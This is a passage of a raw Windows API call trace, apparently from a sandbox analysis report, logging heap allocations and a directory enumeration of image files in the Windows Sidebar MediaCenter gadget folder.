returned 0x12491f8 [0080.688] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.688] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc908830a, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc908830a, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_right_mousedown.png", cAlternateFileName="")) returned 1 [0080.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.688] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.689] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5f30 [0080.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1249300 [0080.689] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.689] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90ae467, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90ae467, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_right_mouseout.png", cAlternateFileName="")) returned 1 [0080.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.690] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.690] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.690] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.690] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.690] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5f50 [0080.690] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1249408 [0080.690] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.690] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90ae467, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90ae467, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_right_mouseover.png", cAlternateFileName="")) returned 1 [0080.690] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.691] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.691] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.691] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.691] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.691] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5f70 [0080.691] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1249510 [0080.692] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.692] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90d45c4, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90d45c4, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x61ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="default_thumb.jpg", cAlternateFileName="")) returned 1 [0080.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.692] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.692] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5f90 [0080.693] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1249618 [0080.693] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.693] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90d45c4, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90d45c4, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1682, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehshellLogo.png", cAlternateFileName="")) returned 1 [0080.693] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.693] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.693] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.693] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.693] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.694] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5fb0 [0080.694] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1249720 [0080.694] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.694] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90d45c4, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90d45c4, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2dd92, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout_background.png", cAlternateFileName="")) returned 1 [0080.694] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.694] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.694] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.695] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.695] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.695] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5fd0 [0080.695] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1249828 [0080.695] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.695] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90fa721, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90fa721, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadget_Flyout_Thumbnail_Shadow.png", cAlternateFileName="")) returned 1 [0080.695] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.695] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.696] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5ff0 [0080.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1249930 [0080.696] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.696] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc912087e, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc912087e, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x24db4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadget_Main_Background_Loading.png", cAlternateFileName="")) returned 1 [0080.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.697] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.697] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f6010 [0080.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1249a38 [0080.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.698] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc91469db, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc91469db, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadget_Main_Background_QuickLaunch.png", cAlternateFileName="")) returned 1 [0080.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f6030 [0080.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1249b40 [0080.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.699] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc91469db, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc91469db, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x86e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadget_Main_Gradient.png", cAlternateFileName="")) returned 1 [0080.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fe6f8 [0080.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1249c48 [0080.700] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.700] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc916cb38, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc916cb38, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadget_Star_Empty.png", cAlternateFileName="")) returned 1 [0080.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.700] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.700] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fe718 [0080.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1249d50 [0080.701] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.701] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc916cb38, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc916cb38, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadget_Star_Full.png", cAlternateFileName="")) returned 1 [0080.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.701] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.702] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fe738 [0080.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1249e58 [0080.702] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.702] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc916cb38, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc916cb38, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadget_Star_Half.png", cAlternateFileName="")) returned 1 [0080.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fe758 [0080.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1249f60 [0080.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.704] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9192c95, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9192c95, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadget_Waitcursor.gif", cAlternateFileName="")) returned 1 [0080.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.705] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.705] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fe778 [0080.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x124a068 [0080.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6100) returned 0x12312f0 [0080.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124a7c8) returned 1 [0080.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.706] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9192c95, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9192c95, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadget_WMC_LogoText.png", cAlternateFileName="")) returned 1 [0080.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fe798 [0080.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x124a170 [0080.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.708] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90fa721, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90fa721, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0080.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fe7b8 [0080.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x124a278 [0080.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.709] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90fa721, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90fa721, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f27, dwReserved0=0x0, dwReserved1=0x0, cFileName="main_background.png", cAlternateFileName="")) returned 1 [0080.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fe7d8 [0080.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x124a380 [0080.710] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.710] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90fa721, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90fa721, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f27, dwReserved0=0x0, dwReserved1=0x0, cFileName="main_background.png", cAlternateFileName="")) returned 0 [0080.710] GetLastError () returned 0x12 [0080.710] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0080.710] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.710] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.710] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fb81591, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x3fb81591, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left_mousedown.png", cAlternateFileName="")) returned 1 [0080.710] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc903c050, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc903c050, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left_mouseout.png", cAlternateFileName="")) returned 1 [0080.710] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90621ad, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90621ad, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left_mouseover.png", cAlternateFileName="")) returned 1 [0080.710] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, 